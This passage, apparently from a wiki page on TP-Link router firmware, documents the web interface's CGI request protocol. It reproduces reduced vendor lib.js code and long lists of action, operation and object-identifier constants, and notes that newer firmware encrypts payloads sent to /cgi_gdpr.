instance = ds[j];
instance.__stack = stack;
}
}
else {
if (stack == "cgi") {
scripts += lines[i] + '\n';
}
else {
var attr = lines[i].split("=");
instance[attr[0]] = attr.slice(1).join('=');
}
}
}
}
while(ds.length) ds.pop();
return ret;
}

if (bAnsi) {
var formObj = $.d.forms[0];
try {
formObj.target = "up_frame";
formObj.action = "/cgi/ansi";
formObj.submit();
}catch(e){}
}

if (hook) {
var resolve2 = function(){
$.io(url, false, function(ret){
ret = resolve(ret, tmpds);
if (typeof hook === "function") hook(ret);
}, data, false, unerr)
};
if (bAnsi) $.timeout(resolve2, 100);
else resolve2();
return 0;
}
else {
while(ret = $.io(url, false, null, data, false, unerr)) {
ret = resolve(ret, $.ds);
if (ret != ERR_HTTP_ERR_CGI_INVALID_ANSI) return ret;
count++;
if (count > 3) return $.err("exe", ERR_HTTP_ERR_CGI_INVALID_ANSI, unerr);
}
}
}
};
})();</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="line-height:1.6;">ⓘ CGI parameters extracted from lib.js and oid_str.js</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">// Type
var ACT_GET = 1; //----
var ACT_SET = 2; //----
var ACT_ADD = 3;
var ACT_DEL = 4;
var ACT_GL = 5;
var ACT_GS = 6;
var ACT_OP = 7; //----
var ACT_CGI = 8; //----

// Operations
var ACT_OP_REBOOT = "ACT_REBOOT"; //----
var ACT_OP_FACTORY_RESET = "ACT_FACTORY_RESET"; //----
var ACT_OP_DHCP_RENEW = "ACT_DHCP_RENEW";
var ACT_OP_DHCP_RELEASE = "ACT_DHCP_RELEASE";
var ACT_OP_PPP_CONN = "ACT_PPP_CONN";
var ACT_OP_PPP_DISCONN = "ACT_PPP_DISCONN";
var ACT_OP_WLAN_GET_NEW_PIN = "ACT_WLAN_GET_NEW_PIN";
var ACT_OP_WLAN_RESTORE_PIN = "ACT_WLAN_RESTORE_PIN";
var ACT_OP_WLAN_UPDATE_ASSOC = "ACT_WLAN_UPDATE_ASSOC";
var ACT_OP_WLAN_WPS_PBC = "ACT_WLAN_WPS_PBC";
var ACT_OP_WLAN_WPS_PIN = "ACT_WLAN_WPS_PIN";
var ACT_OP_WLAN_SCAN = "ACT_WLAN_SCAN";
var ACT_OP_NTP_REQUEST = "ACT_NTP_REQUEST";
var ACT_OP_DLNA_MANUAL_SCAN = "ACT_DLNA_MANUAL_SCAN";
var ACT_OP_L2TP_CONN = "ACT_L2TP_CONN";
var ACT_OP_L2TP_DISCONN = "ACT_L2TP_DISCONN";
var ACT_OP_PPTP_CONN = "ACT_PPTP_CONN";
var ACT_OP_PPTP_DISCONN = "ACT_PPTP_DISCONN";
var ACT_OP_WAN_TYPE_DETECT = "ACT_WAN_TYPE_DETECT";
var ACT_OP_BPA_CONN = "ACT_BPA_CONN";
var ACT_OP_BPA_DISCONN = "ACT_BPA_DISCONN";
var ACT_OP_IPPING = "ACT_OP_IPPING";
var ACT_OP_TRACERT = "ACT_OP_TRACERT";

// Object Identifier
var IGD = "IGD"
var IGD_DEV_INFO = "IGD_DEV_INFO" //----
var SYSLOG_CFG = "SYSLOG_CFG"
var MANAGEMENT_SERVER = "MANAGEMENT_SERVER"
var ETH_SWITCH = "ETH_SWITCH"
var SYS_CFG = "SYS_CFG"
var NET_CFG = "NET_CFG"
var USER_CFG = "USER_CFG" //----
var CURRENT_USER = "CURRENT_USER"
var APP_CFG = "APP_CFG"
var HTTP_CFG = "HTTP_CFG"
var PH_DDNS_CFG = "PH_DDNS_CFG"
var PH_RT_DATA = "PH_RT_DATA"
var DYN_DNS_CFG = "DYN_DNS_CFG"
var UPNP_CFG = "UPNP_CFG"
var UPNP_PORTMAPPING = "UPNP_PORTMAPPING"
var DIAG_TOOL = "DIAG_TOOL"
var CWMP_CFG = "CWMP_CFG"
var SNMP_CFG = "SNMP_CFG"
var NOIP_DNS_CFG = "NOIP_DNS_CFG"
var CMX_DNS_CFG = "CMX_DNS_CFG"
var ACL_CFG = "ACL_CFG"
var WAN_TYPE_DETECT = "WAN_TYPE_DETECT"
var DMZ_HOST_CFG = "DMZ_HOST_CFG"
var TIME = "TIME"
var HOUR = "HOUR"
var L3_FORWARDING = "L3_FORWARDING"
var L3_FORWARDING_ENTRY = "L3_FORWARDING_ENTRY"
var L3_IP6_FORWARDING = "L3_IP6_FORWARDING"
var L3_IP6_FORWARDING_ENTRY = "L3_IP6_FORWARDING_ENTRY"
var L2_BRIDGING = "L2_BRIDGING"
var L2_BRIDGING_ENTRY = "L2_BRIDGING_ENTRY"
var L2_BRIDGING_FILTER = "L2_BRIDGING_FILTER"
var L2_BRIDGING_INTF = "L2_BRIDGING_INTF"
var LAN_DEV = "LAN_DEV"
var LAN_HOST_CFG = "LAN_HOST_CFG"
var LAN_IP_INTF = "LAN_IP_INTF"
var LAN_DHCP_STATIC_ADDR = "LAN_DHCP_STATIC_ADDR"
var LAN_DHCP_COND_SRV_POOL = "LAN_DHCP_COND_SRV_POOL"
var LAN_DHCP_COND_SRV_POOL_OPT = "LAN_DHCP_COND_SRV_POOL_OPT"
var YANDEX_DNS_POOL = "YANDEX_DNS_POOL"
var LAN_IP6_HOST_CFG = "LAN_IP6_HOST_CFG"
var LAN_IP6_INTF = "LAN_IP6_INTF"
var LAN_ETH_INTF = "LAN_ETH_INTF"
var LAN_HOSTS = "LAN_HOSTS"
var LAN_HOST_ENTRY = "LAN_HOST_ENTRY"
var LAN_WLAN = "LAN_WLAN"
var LAN_WLAN_WPS = "LAN_WLAN_WPS"
var LAN_WLAN_MACTABLEENTRY = "LAN_WLAN_MACTABLEENTRY"
var LAN_WLAN_ASSOC_DEV = "LAN_WLAN_ASSOC_DEV"
var LAN_WLAN_BSSDESC_ENTRY = "LAN_WLAN_BSSDESC_ENTRY"
var LAN_WLAN_WEPKEY = "LAN_WLAN_WEPKEY"
var LAN_WLAN_WDSBRIDGE = "LAN_WLAN_WDSBRIDGE"
var LAN_WLAN_MULTISSID = "LAN_WLAN_MULTISSID"
var LAN_WLAN_MSSIDENTRY = "LAN_WLAN_MSSIDENTRY"
var LAN_WLAN_MSSIDWEPKEY = "LAN_WLAN_MSSIDWEPKEY"
var MSSID_MACTABLEENTRY = "MSSID_MACTABLEENTRY"
var LAN_WLAN_WLBRNAME = "LAN_WLAN_WLBRNAME"
var LAN_WLAN_TASK_SCHEDULE = "LAN_WLAN_TASK_SCHEDULE"
var LAN_WLAN_QUICKSAVE = "LAN_WLAN_QUICKSAVE"
var LAN_WLAN_GUESTNET = "LAN_WLAN_GUESTNET"
var LAN_IGMP_SNOOP = "LAN_IGMP_SNOOP"
var WAN_DEV = "WAN_DEV"
var WAN_COMMON_INTF_CFG = "WAN_COMMON_INTF_CFG"
var WAN_DSL_INTF_CFG = "WAN_DSL_INTF_CFG"
var WAN_DSL_INTF_STATS = "WAN_DSL_INTF_STATS"
var WAN_DSL_INTF_STATS_TOTAL = "WAN_DSL_INTF_STATS_TOTAL"
var WAN_DSL_AUTOPVC = "WAN_DSL_AUTOPVC"
var WAN_DSL_AUTO_PVC_PAIR = "WAN_DSL_AUTO_PVC_PAIR"
var WAN_ETH_INTF = "WAN_ETH_INTF"
var WAN_ETH_INTF_STATS = "WAN_ETH_INTF_STATS"
var WAN_PON = "WAN_PON"
var WAN_EPON_INTF = "WAN_EPON_INTF"
var WAN_EPON_INTF_OAM_STATS = "WAN_EPON_INTF_OAM_STATS"
var WAN_EPON_INTF_MPCP_STATS = "WAN_EPON_INTF_MPCP_STATS"
var WAN_EPON_INTF_STATS = "WAN_EPON_INTF_STATS"
var WAN_EPON_INTF_OPTICAL_STATS = "WAN_EPON_INTF_OPTICAL_STATS"
var WAN_GPON_INTF = "WAN_GPON_INTF"
var WAN_GPON_INTF_OMCI_STATS = "WAN_GPON_INTF_OMCI_STATS"
var WAN_GPON_INTF_STATS = "WAN_GPON_INTF_STATS"
var WAN_GPON_INTF_OPTICAL_STATS = "WAN_GPON_INTF_OPTICAL_STATS"
var WAN_CONN_DEVICE = "WAN_CONN_DEVICE"
var WAN_DSL_LINK_CFG = "WAN_DSL_LINK_CFG"
var WAN_PON_LINK_CFG = "WAN_PON_LINK_CFG"
var WAN_ETH_LINK_CFG = "WAN_ETH_LINK_CFG"
var WAN_USB_3G_LINK_CFG = "WAN_USB_3G_LINK_CFG"
var USB_MODEM_PARAM = "USB_MODEM_PARAM"
var WAN_L2TP_CONN = "WAN_L2TP_CONN"
var WAN_L2TP_CONN_PORTMAPPING = "WAN_L2TP_CONN_PORTMAPPING"
var L2TP_CONN_PORTTRIGGERING = "L2TP_CONN_PORTTRIGGERING"
var WAN_L2TP_CONN_STATS = "WAN_L2TP_CONN_STATS"
var WAN_PPTP_CONN = "WAN_PPTP_CONN"
var WAN_PPTP_CONN_PORTMAPPING = "WAN_PPTP_CONN_PORTMAPPING"
var PPTP_CONN_PORTTRIGGERING = "PPTP_CONN_PORTTRIGGERING"
var WAN_PPTP_CONN_STATS = "WAN_PPTP_CONN_STATS"
var WAN_IP_CONN = "WAN_IP_CONN"
var WAN_IP_CONN_PORTMAPPING = "WAN_IP_CONN_PORTMAPPING"
var IP_CONN_PORTTRIGGERING = "IP_CONN_PORTTRIGGERING"
var WAN_PPP_CONN = "WAN_PPP_CONN"
var WAN_PPP_CONN_PORTMAPPING = "WAN_PPP_CONN_PORTMAPPING"
var PPP_CONN_PORTTRIGGERING = "PPP_CONN_PORTTRIGGERING"
var WAN_PPP_CONN_STATS = "WAN_PPP_CONN_STATS"
var STAT_CFG = "STAT_CFG"
var STAT_ENTRY = "STAT_ENTRY"
var DDOS_CFG = "DDOS_CFG"
var DOS_HOST = "DOS_HOST"
var ARP = "ARP"
var ARP_ENTRY = "ARP_ENTRY"
var ARP_BIND = "ARP_BIND"
var ARP_BIND_ENTRY = "ARP_BIND_ENTRY"
var QUEUE_MANAGEMENT = "QUEUE_MANAGEMENT"
var CLASSIFICATION = "CLASSIFICATION"
var QOS_APP = "QOS_APP"
var QOS_INTF = "QOS_INTF"
var QOS_QUEUE = "QOS_QUEUE"
var TC = "TC"
var TC_RULE = "TC_RULE"
var ALG_CFG = "ALG_CFG"
var IPTV = "IPTV"
var DSL_IPTV_CFG = "DSL_IPTV_CFG"
var ETH_IPTV_CFG = "ETH_IPTV_CFG"
var FIREWALL = "FIREWALL"
var INTERNAL_HOST = "INTERNAL_HOST"
var EXTERNAL_HOST = "EXTERNAL_HOST"
var TASK_SCHEDULE = "TASK_SCHEDULE"
var RULE = "RULE"
var URL_LIST = "URL_LIST"
var URL_CFG = "URL_CFG"
var IP6_FIREWALL = "IP6_FIREWALL"
var IP6_INTERNAL_HOST = "IP6_INTERNAL_HOST"
var IP6_EXTERNAL_HOST = "IP6_EXTERNAL_HOST"
var IP6_TASK_SCHEDULE = "IP6_TASK_SCHEDULE"
var IP6_RULE = "IP6_RULE"
var IP6_TUNNEL = "IP6_TUNNEL"
var DSLITE = "DSLITE"
var SIT_6RD = "SIT_6RD"
var SERVICES = "SERVICES"
var VOICE = "VOICE"
var XTP_VOICE_PROCESS_STS = "XTP_VOICE_PROCESS_STS"
var XTP_VOICE_PROCESS = "XTP_VOICE_PROCESS"
var VOICE_CAP = "VOICE_CAP"
var VOICE_CAP_SIP = "VOICE_CAP_SIP"
var VOICE_CAP_MGCP = "VOICE_CAP_MGCP"
var VOICE_CAP_CODECS = "VOICE_CAP_CODECS"
var VOICE_PROF = "VOICE_PROF"
var VOICE_PROF_PROVIDER = "VOICE_PROF_PROVIDER"
var VOICE_PROF_SIP = "VOICE_PROF_SIP"
var VOICE_PROF_SIP_EVTSUBSCRIBE = "VOICE_PROF_SIP_EVTSUBSCRIBE"
var VOICE_PROF_MGCP = "VOICE_PROF_MGCP"
var VOICE_PROF_RTP = "VOICE_PROF_RTP"
var VOICE_PROF_FAXT38 = "VOICE_PROF_FAXT38"
var XTP_USB_VOICEMAIL_PUBLICCFG = "XTP_USB_VOICEMAIL_PUBLICCFG"
var XTP_MULTI_ISP = "XTP_MULTI_ISP"
var XTP_MULTIISP_CODEC = "XTP_MULTIISP_CODEC"
var XTP_MULTIISP_CODEC_LIST = "XTP_MULTIISP_CODEC_LIST"
var VOICE_PROF_LINE = "VOICE_PROF_LINE"
var VOICE_PROF_LINE_SIP = "VOICE_PROF_LINE_SIP"
var VOICE_PROF_LINE_XTPUSBVM = "VOICE_PROF_LINE_XTPUSBVM"
var VOICE_PROF_LINE_CALLFEAT = "VOICE_PROF_LINE_CALLFEAT"
var VOICE_PROF_LINE_PROC = "VOICE_PROF_LINE_PROC"
var VOICE_PROF_LINE_CODEC = "VOICE_PROF_LINE_CODEC"
var VOICE_PROF_LINE_CODEC_LIST = "VOICE_PROF_LINE_CODEC_LIST"
var VOICE_PROF_LINE_STATS = "VOICE_PROF_LINE_STATS"
var XTP_FEATURE_CODE = "XTP_FEATURE_CODE"
var VOICE_PHY_INTERFACE = "VOICE_PHY_INTERFACE"
var VOICE_PHYINTERFACE_TESTS = "VOICE_PHYINTERFACE_TESTS"
var XTP_VOICE_MULTI_ISPDIALPLAN = "XTP_VOICE_MULTI_ISPDIALPLAN"
var XTP_VOICE_PSTN = "XTP_VOICE_PSTN"
var STORAGE_SERVICE = "STORAGE_SERVICE"
var CAPABLE = "CAPABLE"
var USER_ACCOUNT = "USER_ACCOUNT"
var USB_DEVICE = "USB_DEVICE"
var LOGICAL_VOLUME = "LOGICAL_VOLUME"
var FOLDER_BROWSE = "FOLDER_BROWSE"
var FOLDER_NODE = "FOLDER_NODE"
var DLNA_MEDIA_SERVER = "DLNA_MEDIA_SERVER"
var DLNA_MEDIA_SERVER_FOLDER = "DLNA_MEDIA_SERVER_FOLDER"
var SMB_SERVICE = "SMB_SERVICE"
var SMB_SERVICE_FOLDER = "SMB_SERVICE_FOLDER"
var SMB_USER_ACCESS = "SMB_USER_ACCESS"
var FTP_SERVER = "FTP_SERVER"
var FTP_SERVER_FOLDER = "FTP_SERVER_FOLDER"
var FTP_USER_ACCESS = "FTP_USER_ACCESS"
var XTP_PRINT_SERVICE = "XTP_PRINT_SERVICE"
var XTP_IGD_CALL_FIREWALL_CFG = "XTP_IGD_CALL_FIREWALL_CFG"
var XTP_IGD_SPEED_DIAL_CFG = "XTP_IGD_SPEED_DIAL_CFG"
var XTP_IGD_MULTI_ISP_DIAL_PLAN = "XTP_IGD_MULTI_ISP_DIAL_PLAN"
var XTP_IGD_MULTIISPDP_LIST = "XTP_IGD_MULTIISPDP_LIST"
var XTP_CALLLOGCFG = "XTP_CALLLOGCFG"
var IPSEC = "IPSEC"
var IPSEC_CFG = "IPSEC_CFG"
var SYS_MODE = "SYS_MODE"
var EWAN = "EWAN"
var USER_INFO = "USER_INFO"
var GPON_USER_INFO = "GPON_USER_INFO"
var GPON_AUTH_CTC = "GPON_AUTH_CTC"
var GPON_AUTH_SN = "GPON_AUTH_SN"
var GPON_AUTH_PWD = "GPON_AUTH_PWD"
var GPON_MAC_INFO = "GPON_MAC_INFO"
var GPON_FWD_RULE = "GPON_FWD_RULE"
var GPON_LOCAL_RULE_ENTRY = "GPON_LOCAL_RULE_ENTRY"
var GPON_REMOTE_RULE_ENTRY = "GPON_REMOTE_RULE_ENTRY"
var GPON_OMCI_IOT = "GPON_OMCI_IOT"
var GPON_OMCI_IOT_ENTRY = "GPON_OMCI_IOT_ENTRY"
var GPON_OMCI_ME_ATTR = "GPON_OMCI_ME_ATTR"
var CLOUD_SERVICE = "CLOUD_SERVICE"
var FW_UPGRADE_INFO = "FW_UPGRADE_INFO"
var CLOUD_USER_ACCOUNT = "CLOUD_USER_ACCOUNT"
var OWNER_INFO = "OWNER_INFO"
var CURRENT_USER_INFO = "CURRENT_USER_INFO"
var CLOUD_DDNS = "CLOUD_DDNS"
var CLOUD_DDNS_ENTRY = "CLOUD_DDNS_ENTRY"
var WAN_BLOCK = "WAN_BLOCK"
var WAN_ERROR_BLOCK = "WAN_ERROR_BLOCK"
var FW_UP_INFO_BLOCK = "FW_UP_INFO_BLOCK"
var IPPING_DIAG = "IPPING_DIAG"
var TRACEROUTE_DIAG = "TRACEROUTE_DIAG"
var SDMZ_CFG = "SDMZ_CFG"
var WEB_CFG = "WEB_CFG"
var VLAN = "VLAN"
var ISP_SERVICE = "ISP_SERVICE"
var WOL = "WOL"
var WOL_ITEM = "WOL_ITEM"
var IPV6_CFG = "IPV6_CFG"
var SYS_STATE = "SYS_STATE"
var IPV6_PASS_THROUGH = "IPV6_PASS_THROUGH"
var AUTO_REBOOT_CFG = "AUTO_REBOOT_CFG"
var CPU_MEM = "CPU_MEM"
var PRODUCE_INFO = "PRODUCE_INFO"
var MULTIMODE = "MULTIMODE"
var MULTIMODE_AP = "MULTIMODE_AP"
var AP_CONFIG_WEPKEY = "AP_CONFIG_WEPKEY"
var AP_SNMP_CFG = "AP_SNMP_CFG"
var MULTIMODE_CLIENT = "MULTIMODE_CLIENT"
var MULTIMODE_RE = "MULTIMODE_RE"
var RE_CONFIG_WEPKEY = "RE_CONFIG_WEPKEY"
var MULTIMODE_ROUTER = "MULTIMODE_ROUTER"
var ROUTER_CONFIG_WEPKEY = "ROUTER_CONFIG_WEPKEY"
var ROUTER_CONFIG_MULTISSID = "ROUTER_CONFIG_MULTISSID"
var ROUTER_CONFIG_MSSIDENTRY = "ROUTER_CONFIG_MSSIDENTRY"
var MULTIMODE_MSSID = "MULTIMODE_MSSID"
var MSSID_CONFIG_MULTISSID = "MSSID_CONFIG_MULTISSID"
var MSSID_CONFIG_MSSIDENTRY = "MSSID_CONFIG_MSSIDENTRY"
var MULTIMODE_HOTSPOT = "MULTIMODE_HOTSPOT"
var PING_WATCH_DOG = "PING_WATCH_DOG"
var LED_CONTROL = "LED_CONTROL"

// Dynamic Parameters
var INCLUDE_MULTI_LANGUAGE_Q=0
var INCLUDE_MULTIMODE_RE=1
var WEB_INCLUDE_TEST=0
var WEB_INCLUDE_MULTI_EWAN=0
var WEB_INCLUDE_DST=1
var WEB_QS_CHANGEPASSWORD=0
var INCLUDE_IP6_WAN_NOT_ASSIGN_ADDR=0
var INCLUDE_UN_IPTV=0
var INCLUDE_SCHEDULE_NEW=0
var INCLUDE_HW_NAT=0
var INCLUDE_LED_CONTROL=0
var INCLUDE_MULTILANGUAGE=0
var INCLUDE_FEEDBACK=0
var INCLUDE_FORCE_TIMEZONE_SELECT=0
var INCLUDE_FORCE_REGION_SELECT=0
var INCLUDE_WLAN_REGION_LIST=0
var INCLUDE_MULTIPLE_LOCALIZATION=0
var INCLUDE_SCAN_ALL_CHANNELS=0
var INCLUDE_LAN_WLAN=1
var INCLUDE_VOIP
var INCLUDE_FXS_NUM
var INCLUDE_CALLLOG
var INCLUDE_USB_VOICEMAIL
var INCLUDE_PSTN
var INCLUDE_PSTN_GATEWAY
var INCLUDE_PSTN_LIFELINE
var INCLUDE_BRIDGING=1
var INCLUDE_IGMP=1
var INCLUDE_ETHERNET_WAN=1
var INCLUDE_SNMP
var INCLUDE_RIP=1
var INCLUDE_DDNS_PH
var INCLUDE_LAN_WLAN_MSSID=1
var INCLUDE_LAN_WLAN_WDS=1
var INCLUDE_IPTV
var INCLUDE_CWMP
var INCLUDE_DYNDNS=1
var INCLUDE_USB=1
var INCLUDE_USB_STORAGE=1
var INCLUDE_USB_MEDIA_SERVER=1
var INCLUDE_USB_SAMBA_SERVER=1
var INCLUDE_USB_FTP_SERVER=1
var INCLUDE_USB_OVER_IP
var INCLUDE_ADSLWAN
var INCLUDE_AUTO_PVC
var INCLUDE_IPV6=1
var INCLUDE_IPV6_SLAAC=1
var INCLUDE_SPECIAL_DIAL_MODE
var INCLUDE_WAN_MODE=1
var INCLUDE_IPSEC
var INCLUDE_NOIPDNS=1
var INCLUDE_ALG_H323=1
var INCLUDE_ALG_SIP=1
var INCLUDE_PON_ETH_WAN
var INCLUDE_EPON_INFO
var INCLUDE_GPON_INFO
var INCLUDE_QOS
var INCLUDE_E8_APP
var INCLUDE_TFC_PERU
var INCLUDE_USB_3G_DONGLE=1
var INCLUDE_LAN_WLAN_SCHEDULE=1
var INCLUDE_ROUTE_BINDING
var INCLUDE_LAN_WLAN_GUESTNETWORK=1
var INCLUDE_LAN_WLAN_DUALBAND=1
var INCLUDE_LAN_WLAN_HWSWITCH
var INCLUDE_LAN_WLAN_AC=1
var INCLUDE_LAN_WLAN_WDS_DETECT
var INCLUDE_L2TP=1
var INCLUDE_PPTP=1
var INCLUDE_IPV6_MLD=1
var INCLUDE_ACL
var INCLUDE_ACL_ADVANCE
var INCLUDE_DUAL_ACCESS=1
var INCLUDE_WAN_TYPE_DETECT=1
var INCLUDE_BPA=1
var INCLUDE_CMXDNS=1
var INCLUDE_IPPING_DIAG=1
var INCLUDE_TRACEROUTE_DIAG=1
var INCLUDE_LAN_WLAN_QUICKSAVE=1
var INCLUDE_IGMP_FORCEVERSION=1
var INCLUDE_PORTABLE_APP=1
var DEFAULT_NO_SPEC=1
var INCLUDE_MEXICO_SPEC
var INCLUDE_CANADA_SPEC
var INCLUDE_JAPAN_SPEC
var INCLUDE_KOREA_SPEC
var INCLUDE_PL_SPEC
var INCLUDE_BR_SPEC
var INCLUDE_ROMANIA_SPEC
var INCLUDE_RUSSIA_SPEC
var INCLUDE_US_SPEC
var INCLUDE_VN_SPEC
var INCLUDE_VIETNAM_FPT
var INCLUDE_TW_SPEC
var INCLUDE_ES_SPEC
var INCLUDE_X_TP_VLAN=1
var INCLUDE_FORBID_WAN_PING=1
var INCLUDE_SMART_DHCP=1
var INCLUDE_MIC=1
var INCLUDE_IPV6_PASS_THROUGH
var INCLUDE_AUTOREBOOT
var INCLUDE_CPUMEM_INFO
var INCLUDE_MULTIMODE_RE=1
var INCLUDE_MULTIMODE_AP=1
var INCLUDE_MULTIMODE_CLIENT=1
var INCLUDE_MULTIMODE=1
var INCLUDE_PING_WATCHDOG=1
var INCLUDE_MULTIMODE_ROUTER=1
var INCLUDE_MULTIMODE_MSSID
var INCLUDE_YANDEX_DNS
var INCLUDE_LED_CONTROL
var INCLUDE_MULTILANGUAGE
var INCLUDE_FORCE_TIMEZONE_SELECT
var INCLUDE_FORCE_REGION_SELECT
var INCLUDE_MULTIMODE_HOTSPOT=1
var INCLUDE_WLAN_REGION_LIST
var INCLUDE_FBWIFI</syntaxhighlight>

</div>
</div>

</div>
</div>
</div>

<div style="text-align: justify; margin: 5px 0">The previously introduced concept varies a little bit on the newer firmware, which uses <code>/cgi_gdpr</code> in addition to <code>/cgi</code>. In this scenario the payload gets AES encrypted before transmitting. The generic <code>/cgi</code> calls are still used, but most calls need to be encrypted. This is done by setting the new <code>$.exe(hook, unerr, securityLevel)</code> parameter <code>securityLevel</code> to 1, to enable encryption.</div>

<div class="toccolours mw-collapsible" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="line-height:1.6;">ⓘ <b>TL-WR802N FW190428</b></div>
<div class="mw-collapsible-content">
<div style="font-size: 13px">

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="line-height:1.6;">ⓘ Strongly Reduced version of the lib.js, showing the $.cgi, $.act and $.exe methods.</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript"># lib_modified.js
(function(){
var window = this,

window.$ = {

cgi: function(path, arg, hook, noquit, unerr) {
var expr = /(^|\/)(\w+)\.htm$/;
if ($.local || $.sim) path = $.params;
else path = (path ? path : $.curPage.replace(/\.htm$/, ".cgi")) + (arg ? "?" + $.toStr(arg, "=", "&") : "");
$.ret = 0;
var func = hook ? function(ret) {if (!ret && (ret = $.ret)) $.err("cgi", $.ret, unerr); if (typeof hook === "function") hook(ret);} : null;
var ret = $.io(path, true, func, null, noquit, unerr);

if (!ret && (ret = $.ret))
$.err("cgi", $.ret, unerr);
return ret;
},

act: function(type, oid, stack, pStack, attrs) {
if (!type || !oid)
return false;
stack = stack ? stack : "0,0,0,0,0,0";
pStack = pStack ? pStack : "0,0,0,0,0,0";
attrs = $.toStr(attrs, "=", "\r\n", true);
attrs = attrs.replace(/__stack=[0-9,]*\r\n/, "");
var ret = null;
switch (type) {
case ACT_ADD:
if ($.cn) attrs = $.ansi(attrs);
case ACT_GET:
ret = {};
break;
case ACT_GL:
case ACT_GS:
ret = [];
break;
case ACT_SET:
case ACT_CGI:
oid = oid ? oid : $.curPage.replace(/\.htm$/, ".cgi");
if ($.cn) attrs = $.ansi(attrs);
case ACT_DEL:
case ACT_OP:
break;
default:
return false;
}
$.as.push([type, null, oid, stack, pStack, attrs, attrs ? attrs.match(/\r\n/g).length : 0]);
$.ds.push(ret);
return ret;
},

exe: function(hook, unerr, securityLevel) {
var url = "/cgi?";
var data = "";
var index = 0;
var obj;
var bAnsi = false;

var tmpdata = "";

if( INCLUDE_LOGIN_GDPR_ENCRYPT && securityLevel != 0)
{

try{
url="/cgi_gdpr?";
}
catch(e)
{
}
}

if ($.as.length == 0 || $.local || $.sim) {
if (hook && typeof hook === "function") $.timeout(hook, 200);
while($.as.pop() !== undefined);
while($.ds.pop() !== undefined);
return 0;
}

$.empty($.id("ansiform"));
while ($.ansiarg.length) {
obj = $.ansiarg.shift();
$.append($.id("ansiform"), "<input type='hidden' name='"+obj[0]+"' value='"+obj[1].replace(/\&/g, "&").replace(/</g, "<").replace(/'/g, "'")+"' />");
bAnsi = true;
}

if(INCLUDE_LOGIN_GDPR_ENCRYPT && url.match("/cgi_gdpr") != null)
{
while(obj = $.as.shift()){
//url = "/cgi";
tmpdata += obj[0] + (obj[1] ? "=" + obj[1] : "") + "&";
//url += obj[0] + (obj[1] ? "=" + obj[1] : "") + "&";
data += "[" + obj[2] + "#" + obj[3] + "#" + obj[4] + "]" + index + ", " + obj[6] + "\r\n" + obj[5];
index++;
}
tmpdata = tmpdata.substr(0, tmpdata.length - 1);
tmpdata = tmpdata + "\r\n"+data;
data = tmpdata;
}
else
{
while(obj = $.as.shift()){
url += obj[0] + (obj[1] ? "=" + obj[1] : "") + "&";
data += "[" + obj[2] + "#" + obj[3] + "#" + obj[4] + "]" + index + ", " + obj[6] + "\r\n" + obj[5];
index++;
}
}
url = url.substr(0, url.length - 1);

if (hook) {
var tmpds = $.mkArr($.ds);
while($.ds.length) $.ds.pop();
}

var resolve = function(ret, ds) {
if (typeof ret !== "number") {
var lines = ret.split('\n');
ret = 0;
$.ret = 0;
var scripts = "";

for (var i = 0, l = lines.length; i < l; i++) {
if (lines[i] == "") continue;
if (lines[i].charAt(0) == "[") {
if (scripts != "") {
$.script(scripts);
if ($.ret) {
ret = $.ret;
$.err("cgi", ret, unerr);
break;
}
scripts = "";
}
var n = lines[i].indexOf("]");
var j = parseInt(lines[i].substr(n+1), 10);
var stack = lines[i].substr(1, n-1);
var instance;
if (stack == "error") {
if (j) {
ret = j;
if (ret != ERR_HTTP_ERR_CGI_INVALID_ANSI) $.err("exe", ret, unerr);
break;
}
}
else if (ds[j] instanceof Array) {
instance = {__stack: stack};
ds[j].push(instance);
}
else if (ds[j] != null) {
instance = ds[j];
instance.__stack = stack;
}
}
else {
if (stack == "cgi") {
scripts += lines[i] + '\n';
}
else {
var attr = lines[i].split("=");
instance[attr[0]] = attr.slice(1).join('=');
}
}
}
}
while(ds.length) ds.pop();
return ret;
}

if (bAnsi) {
var formObj = $.d.forms[0];
try {
formObj.target = "up_frame";
formObj.action = "/cgi/ansi";
formObj.submit();
}catch(e){}
}

if (hook) {
var resolve2 = function(){
$.io(url, false, function(ret){ ret = resolve(ret, tmpds); if (typeof hook === "function") hook(ret);}, data, false, unerr)};
if (bAnsi) $.timeout(resolve2, 100);
else resolve2();
return 0;
}
else {
while(ret = $.io(url, false, null, data, false, unerr)) {
ret = resolve(ret, $.ds);
if (ret != ERR_HTTP_ERR_CGI_INVALID_ANSI) return ret;
count++;
if (count > 3) return $.err("exe", ERR_HTTP_ERR_CGI_INVALID_ANSI, unerr);
}
}
}
};
})();</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="line-height:1.6;">ⓘ CGI parameters extracted from lib.js and oid_str.js</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">var ACT_GET = 1;
var ACT_SET = 2;
var ACT_ADD = 3;
var ACT_DEL = 4;
var ACT_GL = 5;
var ACT_GS = 6;
var ACT_OP = 7;
var ACT_CGI = 8;
var ACT_SIG = 9;

var ACT_OP_REBOOT = "ACT_REBOOT";
var ACT_OP_FACTORY_RESET = "ACT_FACTORY_RESET";
var ACT_OP_DHCP_RENEW = "ACT_DHCP_RENEW";
var ACT_OP_DHCP_RELEASE = "ACT_DHCP_RELEASE";
var ACT_OP_PPP_CONN = "ACT_PPP_CONN";
var ACT_OP_PPP_DISCONN = "ACT_PPP_DISCONN";
var ACT_OP_WLAN_GET_NEW_PIN = "ACT_WLAN_GET_NEW_PIN";
var ACT_OP_WLAN_RESTORE_PIN = "ACT_WLAN_RESTORE_PIN";
var ACT_OP_WLAN_UPDATE_ASSOC = "ACT_WLAN_UPDATE_ASSOC";
var ACT_OP_WLAN_WPS_PBC = "ACT_WLAN_WPS_PBC";
var ACT_OP_WLAN_WPS_PIN = "ACT_WLAN_WPS_PIN";
var ACT_OP_WLAN_SCAN = "ACT_WLAN_SCAN";
var ACT_OP_NTP_REQUEST = "ACT_NTP_REQUEST";
var ACT_OP_DLNA_MANUAL_SCAN = "ACT_DLNA_MANUAL_SCAN";
var ACT_OP_L2TP_CONN = "ACT_L2TP_CONN";
var ACT_OP_L2TP_DISCONN = "ACT_L2TP_DISCONN";
